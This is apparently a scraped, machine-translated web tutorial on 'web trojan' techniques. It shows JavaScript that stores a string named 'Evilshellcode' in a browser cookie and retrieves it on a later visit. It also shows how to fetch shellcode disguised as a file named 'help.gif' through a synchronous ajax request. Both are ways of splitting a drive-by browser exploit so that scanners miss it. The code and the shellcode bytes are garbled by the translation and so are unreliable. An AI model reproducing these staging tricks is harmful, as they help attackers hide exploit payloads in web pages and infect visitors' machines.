Home > Web Front-end > JS Tutorial > Analysis of tips implementation of an Internet horse_Hacker nature

Analysis of tips implementation of an Internet horse_Hacker nature

WBOY
Release: 2016-05-16 18:15:01
Original
1069 people have browsed it

Cookie sample code:

Copy code The code is as follows:

//Storage
function setCookie (sVar, sVal){
theCookie = sVar '=' sVal '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="� 90�90 fc�7c�f9�35-49~db�d8�73 4euec..."
setCookie('Evilshellcode', shellcode);
//Get out
function getCookie(sVar) {
cookies = document.cookie.split('; ');
for(var i = 1; i <= cookies.length; i ){
if(cookies[i - 1]. split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}
return '';
}
a= unescape(getCookie('Evilshellcode'))


If the cookie is stored, it can be hung twice. The first time it is hung, the cookie writing code is harmless, and the second time it is taken out and combined with the new hook. How to use

ajax to call
Copy the code The code is as follows:


var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText

help.gif content

�90�90 fc�7c�f9�35-49~db�d8�73 4euec
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template